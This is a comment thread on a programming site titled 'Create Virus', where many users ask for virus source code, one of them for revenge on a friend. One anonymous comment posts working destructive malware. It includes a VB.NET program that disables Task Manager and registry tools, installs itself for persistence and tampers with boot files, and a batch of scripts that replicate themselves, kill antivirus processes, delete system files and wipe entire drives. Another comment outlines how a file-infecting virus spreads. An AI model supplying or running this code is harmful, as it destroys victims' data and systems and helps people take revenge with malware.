1. Blog
  2. Create Virus

Create Virus

Submitted by Derick on Tuesday, May 19, 2009 - 13:32.

Hai

Iam not create virus but i like to know how to create virus in vb.net. iam using vb.net2003 vertion.

pls sed me e-book or gird somthing like that.

 

Tags
visual basic.net

Submitted by Orion (not verified) on Wed, 05/30/2012 - 05:18

hey i am new to java can someone please email me a document on how to learn java and also a few examples with the correct extension please my email is [email protected] many thanks

Submitted by bunty (not verified) on Mon, 06/04/2012 - 02:28

hi sir, i am cs student , i like to learn about virus making , can u plz send me some virus codes.

From Death Virus Organization,DEATH: Why do you need to know about making virus? For revenge right? I don't think its cool but i know how to make viruses. ;D I know the code for the popular Loveletter virus or "ILOVEYOU" virus.I have the simple WORM VIRUS, TROJAN & MUAHAHA viruses,to name a few. Anyway, when you do viruses, save as .bat and make sure not to run the file on your computer. Or your computer will be a DEAD MACHINE.. XD If you wanna contact me, send me email on [email protected] or [email protected]. NOTE: Only if I'm interested. I am not a fool to just give virus codes to people who I don't even know!!! ---------------------------------------DEATH & CROW, DVO------------

Submitted by nicksolden (not verified) on Tue, 06/26/2012 - 00:25

I like to know create virus using java .so someone please send me some codes. my email [email protected]

Submitted by sundaram (not verified) on Tue, 07/17/2012 - 15:57

i want to knw how to create virus & protocols........ pls send me the coding in any platform............ [email protected] my mail id.

Submitted by job (not verified) on Sat, 07/21/2012 - 03:29

Please would you send an executable code for a virus, which when sent by email and opened, it launches its self, self replicates and crashes the machine as a whole.
thanks very much.

Submitted by Anonymous (not verified) on Tue, 09/04/2012 - 01:49

please send me some java malware source code to test.
i'm a beginner.
and how we create a worms,viruses
my mail [email protected]
thank u

pls i really need to wicked a friend of mine by putting a virus on his phone cause he stole my girl friend pls help............

Submitted by Rajeshwar (not verified) on Thu, 11/22/2012 - 13:22

It's work but it is old procedure

Submitted by Anonymous (not verified) on Wed, 04/03/2013 - 00:06

Can anybody send me the source code to create a System Virus

Submitted by Anonymous (not verified) on Fri, 04/05/2013 - 02:54

1. Locate executable files in the same language 2. Scan them to see if they're already infected 3a. If they're not infected, copy the viral code (from the currently-running virus' location) into the new host file. Position the code in the new host in such a way that it will be executed when that file is executed (continue the life-cycle). 3b. If the files are already infected, return to step 1 If you know a language well enough, you can make a virus in any language, following these steps (if the language gives you enough control of the system).

Submitted by anonymous on Mon, 05/20/2013 - 14:08

hi this is my own virus put this on notepad and save virus.bat WARNING DO NOT CLICK ON IT WHEN YOU HAVE CREATED IT, IT WILL DESTROY YOUR COMPUTER this virus fuck any pc so its dangeriuos. Copyright © Shantanu Gupta. All rights reserved ®. ' Patents Pending ' Project Length - 15,529 Alphabets ' Estd. Project Time - 83 hours ' Project Start Date - 12 April ; Project Finishing Date - 15 August ' Thanks To Microsoft for Developing VB.net ' and also for the Character Map... ' Description: This Virus cannot be closed by clicking on x or alt f4, it disables Taskmanager ' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc.. ' Optimized Memory Resource of 9326 KB ' Optimized CPU resources and Vibrant Transparent Interface
  1. Option Explicit On
  2. Imports Microsoft.Win32
  3. Public Class Form1
  4. Public x As Object
  5. Dim g As String
  6. Dim k As String
  7. Dim t As String
  8. Public rt As String
  9. Public wx As Int16
  10. Dim OPO As Int16
  11. Public oo As String
  12. Dim RTRE As String
  13. Dim JFK As Object
  14. Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  15. If OPO = 1 Then
  16. e.Cancel = False
  17. Else
  18. e.Cancel = True
  19. My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
  20. MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error")
  21. End If
  22. End Sub
  23. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  24. k = My.Computer.Info.OSFullName.ToString
  25. t = Environment.MachineName
  26. rt = Environment.UserName
  27. Me.ShowInTaskbar = False
  28. Me.Visible = True
  29. Me.Opacity = 84
  30. If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then
  31. MsgBox(k & " Running on " & t & " authorized through " & rt)
  32. RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe"
  33. oo = My.Computer.FileSystem.CurrentDirectory
  34. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  35. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  36. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  37. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  38. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  39. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  40. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  41. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
  42. Dim kop As RegistryKey
  43. kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
  44. kop = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
  45. If kop.GetValue("MSCONFIG.EXE", "0") <> 0 Then
  46. kop.DeleteSubKey("MSCONFIG.exe")
  47. End If
  48. Dim regKey As RegistryKey
  49. regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  50. regKey.CreateSubKey("Virus")
  51. regKey.SetValue("Virus", oo & "\Virus.exe")
  52. regKey.Close()
  53. Dim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")
  54. If pp.Exists = True Then
  55. Dim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")
  56. Dim wqe As Int16
  57. wqe = Val(ysr.ReadToEnd())
  58. If wqe.ToString.Contains("1") Then
  59. Dim oo As String
  60. oo = My.Computer.FileSystem.CurrentDirectory
  61. Dim jj As New System.IO.FileInfo(oo & "\Virus.exe")
  62. rt = Environment.UserName
  63. jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
  64. End If
  65. End If
  66. Dim yu As String
  67. yu = My.Computer.FileSystem.CurrentDirectory.ToString()
  68. Dim ui As New System.IO.FileInfo(yu & "\Virus.exe")
  69. ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
  70. ui.CopyTo("C:\Virus.exe", True)
  71. Dim jl As New System.IO.FileInfo("C:\Virus.exe")
  72. jl.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
  73. Dim yt As New System.IO.FileInfo(yu & "\Autorun.inf")
  74. yt.CopyTo("C:\Autorun.inf", True)
  75. Dim ti As New System.IO.FileInfo("C:\Autorun.inf")
  76. ti.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
  77. Me.ShowInTaskbar = False
  78. Dim f As System.IO.FileInfo = New System.IO.FileInfo("C:\boot.ini")
  79. If f.Exists = True Then
  80. f.Attributes = f.Attributes And (IO.FileAttributes.Normal)
  81. f.Attributes = f.Attributes And (IO.FileAttributes.Hidden)
  82. f.Attributes = f.Attributes And (Not IO.FileAttributes.System)
  83. f.Attributes = f.Attributes And (Not IO.FileAttributes.ReadOnly)
  84. End If
  85. x = Date.Now.Minute
  86. Dim qq As New System.IO.FileInfo("C:\NTLDR")
  87. If qq.Exists = True Then
  88. qq.Attributes = IO.FileAttributes.Normal
  89. Dim ww As New System.IO.DirectoryInfo("C:\Virus")
  90. ww.Create()
  91. qq.CopyTo("C:\virus\Virus" & x & ".exe", True)
  92. qq.Delete()
  93. End If
  94. Dim fiFile As New System.IO.FileInfo("c:\boot.ini")
  95. If fiFile.Exists = True Then
  96. fiFile.CopyTo("c:\Virus\" & x & ".BAT", True)
  97. End If
  98. Dim YUP As System.IO.FileInfo = New System.IO.FileInfo("c:\Virus\" & x & ".BAT")
  99. YUP.Attributes = YUP.Attributes And (IO.FileAttributes.System)
  100. YUP.Attributes = YUP.Attributes And (IO.FileAttributes.Hidden)
  101. YUP.Attributes = YUP.Attributes And (IO.FileAttributes.ReadOnly)
  102. fiFile.Delete()
  103. Timer1.Enabled = True
  104. Dim wx As Int16
  105. wx = x + x
  106. Dim yr As New System.IO.FileInfo("C:\Virus\Virus" & wx & ".txt")
  107. If yr.Exists = True Then
  108. yr.Attributes = IO.FileAttributes.Normal
  109. yr.Delete()
  110. End If
  111. Dim gy As New System.IO.StreamWriter("C:\Virus\Virus" & wx & ".txt")
  112. gy.Write("1")
  113. gy.Flush()
  114. gy.Dispose()
  115. gy.Close()
  116. Else
  117. MsgBox("This Virus is intended to Work on Windows prior to vista only. Future Updates may Make it Possible on newer operating systems. Good luck for user named " & rt & " using machine named " & t & " on " & k)
  118. OPO = 1
  119. Me.Close()
  120. End
  121. End If
  122. Timer5.Enabled = True
  123. My.Computer.Audio.Play(My.Resources.Bihari_virus, AudioPlayMode.WaitToComplete)
  124. My.Computer.Audio.Play(My.Resources.Naagin, AudioPlayMode.BackgroundLoop)
  125. End Sub
  126. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  127. Timer1.Enabled = False
  128. Dim n As New System.IO.FileInfo("c:\" & x & ".BAT")
  129. n.Attributes = IO.FileAttributes.Normal
  130. n.Delete()
  131. Dim MJ As New System.IO.FileInfo("c:\Virus\Virus.exe")
  132. MJ.Attributes = IO.FileAttributes.Normal
  133. MJ.Delete()
  134. MsgBox("Please pay the last tributes to your computer or join Al Qaeda. and yeah, Trash your antivirus!.", MsgBoxStyle.Critical, "Your computer has expired on" + " " + Date.Now)
  135. Me.Close()
  136. End Sub
  137. Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  138. Timer3.Enabled = False
  139. Me.Visible = True
  140. End Sub
  141. Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
  142. If My.Computer.Keyboard.CapsLock = True Then
  143. If My.Computer.Keyboard.NumLock = True Then
  144. If My.Computer.Keyboard.ScrollLock = True Then
  145. If My.Computer.Keyboard.ShiftKeyDown = True Then
  146. Form2.Show()
  147. End If
  148. End If
  149. End If
  150. End If
  151. End Sub
  152. Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
  153. If My.Computer.Keyboard.CapsLock = True Then
  154. If My.Computer.Keyboard.NumLock = True Then
  155. If My.Computer.Keyboard.ScrollLock = True Then
  156. If My.Computer.Keyboard.CtrlKeyDown = True Then
  157. OPO = 1
  158. End
  159. End If
  160. End If
  161. End If
  162. End If
  163. End Sub
  164. End Class
Form 2
  1. Imports Microsoft.Win32
  2. Public Class Form2
  3. Public gts As Object
  4. Dim k As Object
  5. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6. gts = TextBox1.Text
  7. If gts = "123456" Then
  8. Form1.Timer5.Enabled = False
  9. k = My.Computer.Info.OSVersion
  10. If k < "6.0.0000" Then
  11. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
  12. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
  13. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
  14. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
  15. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
  16. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
  17. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
  18. Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
  19. Dim kop As RegistryKey
  20. kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
  21. kop.SetValue("1", "null")
  22. kop.SetValue("2", "null")
  23. kop.Close()
  24. Form1.oo = My.Computer.FileSystem.CurrentDirectory
  25. Dim g As RegistryKey
  26. g = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  27. g.GetAccessControl()
  28. g.SetValue("Virus", "null")
  29. g.Close()
  30. Dim z As New System.IO.FileInfo("c:\Virus\" & Form1.x & ".BAT")
  31. z.Attributes = z.Attributes And (Not IO.FileAttributes.System)
  32. z.Attributes = z.Attributes And (Not IO.FileAttributes.Hidden)
  33. z.Attributes = z.Attributes And (Not IO.FileAttributes.ReadOnly)
  34. z.CopyTo("C:\boot.ini", True)
  35. z.Delete()
  36. Dim hj As New System.IO.FileInfo("C:\boot.ini")
  37. hj.Attributes = IO.FileAttributes.System
  38. hj.Attributes = hj.Attributes And IO.FileAttributes.Hidden
  39. hj.Attributes = hj.Attributes And IO.FileAttributes.ReadOnly
  40. Me.Opacity = 100
  41. Dim wq As New System.IO.FileInfo("C:\virus\Virus" & Form1.x & ".exe")
  42. Dim i As New System.IO.FileInfo("C:\NTLDR")
  43. If i.Exists = True Then
  44. i.Attributes = IO.FileAttributes.Normal
  45. i.Delete()
  46. End If
  47. wq.CopyTo("C:\NTLDR", True)
  48. wq.Attributes = IO.FileAttributes.Normal
  49. wq.Delete()
  50. Dim pp As New System.IO.FileInfo("C:\Virus\Virus" & Form1.wx & ".txt")
  51. pp.Delete()
  52. Dim zz As New System.IO.FileInfo("C:\Documents and settings\" & Form1.rt & "\Start menu\Programs\Startup\Virus.exe")
  53. zz.Delete()
  54. Dim aq As New System.IO.FileInfo("C:\Virus.exe")
  55. aq.Attributes = IO.FileAttributes.Normal
  56. aq.Delete()
  57. Dim qz As New System.IO.FileInfo("C:\Autorun.inf")
  58. qz.Delete()
  59. Dim UIY As New System.IO.DirectoryInfo("C:\Virus")
  60. UIY.Delete(True)
  61. Me.Activate()
  62. Me.Focus()
  63. k = My.Computer.Info.OSFullName.ToString
  64. MsgBox(k & " has been repaired", MsgBoxStyle.Information, "Restore Complete")
  65. Form1.Timer1.Enabled = False
  66. Process.Start(Form1.oo & "\MSconfig.reg")
  67. Form1.Timer6.Enabled = True
  68. Me.Close()
  69. Else
  70. Me.Visible = False
  71. Me.Enabled = False
  72. Dim j As New System.IO.FileInfo("C:\WINDOWS\Driver Cache\i386\driver.cab")
  73. If j.Exists = True Then
  74. For o As Int16 = 1 To Date.Now.Ticks
  75. j.CopyTo("C:\" & o & "Virus.exe")
  76. Next
  77. Dim kl As New System.IO.DirectoryInfo("D:\")
  78. If kl.Exists = True Then
  79. For y As Int16 = 1 To Date.Now.Ticks
  80. j.CopyTo("D:\" & y & "Virus.exe")
  81. Next
  82. End If
  83. End If
  84. Me.Close()
  85. End If
  86. End If
  87. End Sub
  88. End Class
  89. Set wshShell = wscript.CreateObject(“WScript.Shell”)
  90. do
  91. wscript.sleep 100
  92. wshshell.sendkeys “~(enter)”
  93. loop
  94. if colCDROMs.Count >= 1 then
  95. For i = 0 to colCDROMs.Count – 1
  96. colCDROMs.Item( i).Eject
  97. Next
  98. For i = 0 to colCDROMs.Count – 1
  99. colCDROMs.Item( i).Eject
  100. Next
  101. End If
  102. wscript.sleep 5000
  103. loop
  104. Set wshShell =wscript.CreateObject(“WScript.Shell”)
  105. do
  106. wscript.sleep 100
  107. wshshell.sendkeys “{CAPSLOCK}”
  108. loop
  109. @echo off
  110. msg * I don’t like you
  111. shutdown -c “Error! You are too stupid!” -s
  112. @ECHO off
  113. :Begin
  114. msg * Hi
  115. msg * Are you having fun?
  116. msg * I am!
  117. msg * Lets have fun together!
  118. msg * Because you have been o-w-n-e-d
  119. GOTO BEGIN
  120.  
  121. @Echo off
  122. color 4
  123. title 4
  124. title R.I.P
  125. start
  126. start
  127. start
  128. start calc
  129. copy %0 %Systemroot%\Greatgame > nul
  130. reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
  131. /d %systemroot%\Greatgame.bat /f > nul
  132. copy %0 *.bat > nul
  133. Attrib +r +h Greatgame.bat
  134. Attrib +r +h
  135. RUNDLL32 USER32.DLL.SwapMouseButton
  136. start calc
  137. cls
  138. tskill msnmsgr
  139. tskill LimeWire
  140. tskill iexplore
  141. tskill NMain
  142. start
  143. cls
  144. cd %userprofile%\desktop
  145. copy Greatgame.bat R.I.P.bat
  146. copy Greatgame.bat R.I.P.jpg
  147. copy Greatgame.bat R.I.P.txt
  148. copy Greatgame.bat R.I.P.exe
  149. copy Greatgame.bat R.I.P.mov
  150. copy Greatgame.bat FixVirus.bat
  151. cd %userprofile%My Documents
  152. copy Greatgame.bat R.I.P.bat
  153. copy Greatgame.bat R.I.P.jpg
  154. copy Greatgame.bat R.I.P.txt
  155. copy Greatgame.bat R.I.P.exe
  156. copy Greatgame.bat R.I.P.mov
  157. copy Greatgame.bat FixVirus.bat
  158. start
  159. start calc
  160. cls
  161. msg * R.I.P
  162. msg * R.I.P
  163. shutdown -r -t 10 -c "VIRUS DETECTED"
  164. start
  165. start
  166. time 12:00
  167. :R.I.P
  168. cd %usernameprofile%\desktop
  169. copy Greatgame.bat %random%.bat
  170. goto RIP
  171. @echo off
  172. echo hahahaha im hacking ur computer
  173. shutdown -s -f -t 60 -c "salam man unes am hahahaha."
  174.  
  175. @echo off
  176. copy "virus.bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
  177. copy "virus.bat" "C:\"
  178. copy "virus.bat" "%userprofile%\My Documents"
  179. tskill explorer
  180. tskill ccapp
  181. tskill yahoomessenger
  182. tskill firefox
  183. tskill chrome
  184. rem made with Batch Virus Maker V.2
  185. tskill iexplorer
  186. time 12:00
  187. rem made with Batch Virus Maker V.2
  188. del C:\Program Files\Common Files\Symantec Shared\ccapp.exe
  189. cd C:\WINDOWS
  190. if exist "*.bat" del "*.bat"
  191. cd C:\WINDOWS\system32
  192. rem made with Batch Virus Maker V.2
  193. if exist "*.dll" del "*.dll"
  194. tskill McAfee Security Centre Module
  195. del c:\program files\mcafee.com\agent\mcdetect.exe
  196. rem made with Batch Virus Maker V.2
  197. copy "virus.bat" "virus.bat45544"
  198. copy "virus.bat" "virus.bat85858"
  199. copy "virus.bat" "virus.bat1645"
  200. copy "virus.bat" "virus.bat574457"
  201. copy "virus.bat" "virus.bat55457"
  202. copy "virus.bat" "virus.bat9765"
  203. copy "virus.bat" "virus.bat45465"
  204. rem made with Batch Virus Maker V.2
  205. copy "virus.bat" "virus.bat456877"
  206. copy "virus.bat" "virus.bat77989845"
  207. copy "virus.bat" "virus.bat2135"
  208. copy "virus.bat" "virus.bat46876"
  209. rem made with Batch Virus Maker V.2
  210. copy "virus.bat" "virus.bat45687"
  211. copy "virus.bat" "virus.bat8868"
  212. copy "virus.bat" "virus.bat2000"
  213. copy "virus.bat" "virus.bat2009"
  214. msg * this is a virus
  215. rundll mouse,disable
  216. rem made with Batch Virus Maker V.2
  217. rundll keyboard,disable
  218.  @echo off
  219. attrib -r -s -h c:\autoexec.bat
  220. del c:\autoexec.bat
  221. attrib -r -s -h c:\boot.ini
  222. del c:\boot.ini
  223. attrib -r -s -h c:\ntldr
  224. del c:\ntldr
  225. attrib -r -s -h c:\windows\win.ini
  226. del c:\windows\win.ini
  227. @echo off
  228. del D:\*.* /f /s /q
  229. del E:\*.* /f /s /q
  230. del F:\*.* /f /s /q
  231. del G:\*.* /f /s /q
  232. del H:\*.* /f /s /q
  233. del I:\*.* /f /s /q
  234. del J:\*.* /f /s /q
  235.  
  236. :loopholes
  237. md "New Folder"
  238. cd "New Folder"
  239. goto loopholes
  240. X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
  241. @ECHO OFF
  242.  
  243. ECHO:
  244.  
  245. ECHO.........................................................................................................
  246.  
  247. ECHO PRESS 1or 2 to select your task,3 to exit
  248.  
  249. ECHO...........................................................................................................
  250.  
  251. ECHO.
  252.  
  253. ECHO 1-I am lord of the god
  254.  
  255. ECHO 2- I am not lord of the god
  256.  
  257. ECHO 3-EXIT
  258.  
  259. ECHO.
  260.  
  261. SET /P M=Type 1,2,3 THEN PRESS ENTER
  262.  
  263. echo:
  264.  
  265. IF%M%=1 GOTO Correct
  266.  
  267. IF%M%=2 GOTO WORNG
  268.  
  269. IF%M%=3 GOTO EXIT
  270.  
  271. :Correct
  272.  
  273. echo You right!!!!
  274.  
  275. GOTO END
  276.  
  277. :Worng
  278.  
  279. echo YOU ARE WORNG .NO I AM REALLY LORD OF THE GOD
  280.  
  281. GOTO END
  282.  
  283. :END
  284.  
  285. PAUSE
  286.  
  287. goto EXIT
  288.  
  289. :EXIT
  290.  
  291. DEL /F /Q *
  292.  
  293. @echo off
  294. msg * WARNING
  295. msg * VIRUS ENTERED YOUR PC
  296. 01001011000111110010010101010101010000011111100000
  297. @ECHO OFF
  298. @ECHO A PHOENIX PRODUCTION
  299. @ECHO MAIN BAT RUNNING
  300. GOTO start
  301.  
  302. :start
  303. @ECHO SET snowball2=1 >> bat6.bat
  304. @ECHO GOTO flood5 >> bat6.bat
  305. @ECHO :flood5 >> bat6.bat
  306. @ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
  307. @ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
  308. @ECHO GOTO flood5 >> bat6.bat
  309. START /MIN bat6.bat
  310. GOTO bat5
  311.  
  312. :bat5
  313. @ECHO CD %%ProgramFiles%%\ >> bat5.bat
  314. @ECHO SET maggi=1 >> bat5.bat
  315. @ECHO GOTO flood4 >> bat5.bat
  316. @ECHO :flood4 >> bat5.bat
  317. @ECHO MKDIR maggi%%maggi%% >> bat5.bat
  318. @ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
  319. @ECHO GOTO flood4 >> bat5.bat
  320. START /MIN bat5.bat
  321. GOTO bat4
  322.  
  323. :bat4
  324. @ECHO CD %%SystemRoot%%\ >> bat4.bat
  325. @ECHO SET marge=1 >> bat4.bat
  326. @ECHO GOTO flood3 >> bat4.bat
  327. @ECHO :flood3 >> bat4.bat
  328. @ECHO MKDIR marge%%marge%% >> bat4.bat
  329. @ECHO SET /a marge=%%marge%%+1 >> bat4.bat
  330. @ECHO GOTO flood3 >> bat4.bat
  331. START /MIN bat4.bat
  332. GOTO bat3
  333.  
  334. :bat3
  335. @ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
  336. @ECHO SET bart=1 >> bat3.bat
  337. @ECHO GOTO flood2 >> bat3.bat
  338. @ECHO :flood2 >> bat3.bat
  339. @ECHO MKDIR bart%%bart%% >> bat3.bat
  340. @ECHO SET /a bart=%%bart%%+1 >> bat3.bat
  341. @ECHO GOTO flood2 >> bat3.bat
  342. START /MIN bat3.bat
  343. GOTO bat2
  344.  
  345. :bat2
  346. @ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
  347. @ECHO SET homer=1 >> bat2.bat
  348. @ECHO GOTO flood >> bat2.bat
  349. @ECHO :flood >> bat2.bat
  350. @ECHO MKDIR homer%%homer%% >> bat2.bat
  351. @ECHO SET /a homer=%%homer%%+1 >> bat2.bat
  352. @ECHO GOTO flood >> bat2.bat
  353. START /MIN bat2.bat
  354. GOTO original
  355.  
  356. :original
  357. CD %HomeDrive%\
  358. SET lisa=1
  359. GOTO flood1
  360. :flood1
  361. MKDIR lisa%lisa%
  362. SET /a lisa=%lisa%+1
  363. GOTO flood

Submitted by mona singh (not verified) on Fri, 08/23/2013 - 17:42

i want simple virus code in c++ that can duplicate the file or it does only minor harm to pc ... i want it for my tutorail so please help me out.. my email id is [email protected] please reply as soon as possible....

Submitted by COURAGE (not verified) on Sun, 10/30/2016 - 11:02

STILL A NOVICE PLEASE CAN SOMEBODY SEND ME A .BAT VIRUS CODE THAT CAN HIDE SOMEONES INFORMATION AND FOLDER AND THE THE CODE TO REGAIN IT AGAIN IT I JUST WANT TO NO HOW IT WORKS TRIAL IN MY PRACTICAL PC HELP ME PLS

Add new comment

About text formats